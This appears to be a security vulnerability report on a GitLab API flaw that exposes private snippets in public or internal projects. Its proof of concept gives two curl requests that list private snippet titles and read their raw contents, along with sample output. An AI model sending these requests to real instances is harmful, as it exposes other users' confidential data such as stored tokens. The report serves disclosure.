Vulnerability details

The /projects/:id/snippets resource leaks private snippets that were posted in a public or internal project.

Proof of concept

As a victim, create a new public or internal project. Lets state that the project has ID 1. Enable the snippets feature in the project settings and create a private snippet for the project. As an attacker, fetch all the snippets for the project:

curl --header "PRIVATE-TOKEN: XXXXXXXXXXXXXX" "http://gitlab-instance/api/v3/projects/1/snippets"

The response will contain snippet titles that were marked as private:

[
  {
    "id":6,
    "title":"Secret snippet",
    "file_name":"",
    "author":{
      "name":"Jane Doe",
      "username":"jane",
      "id":3,
      "state":"active",
      "avatar_url":"http://www.gravatar.com/avatar/f4d2ae4a63880c2a1c796bdd6d06a2d8?s=80\u0026d=identicon",
      "web_url":"http://gitlab-ubuntu-2gb-sfo1-01/u/jane"
    },
    "updated_at":"2016-04-25T01:06:05.554Z",
    "created_at":"2016-04-25T01:06:05.554Z",
    "expires_at":null
  }
]

The contents of a private snippet can be read by sending the following request to the GitLab API:

curl --header "PRIVATE-TOKEN: XXXXXXXXXXXXXX" "http://gitlab-instance/api/v3/projects/1/snippets/6/raw"

The response of this request leaks the contents of the snippet:

These are the contents of a private snippet.

Impact

It seems that private snippets may be used to hold private (API) tokens or similar confidential information. This can seriously damage to a company depending on what kind of information is shared.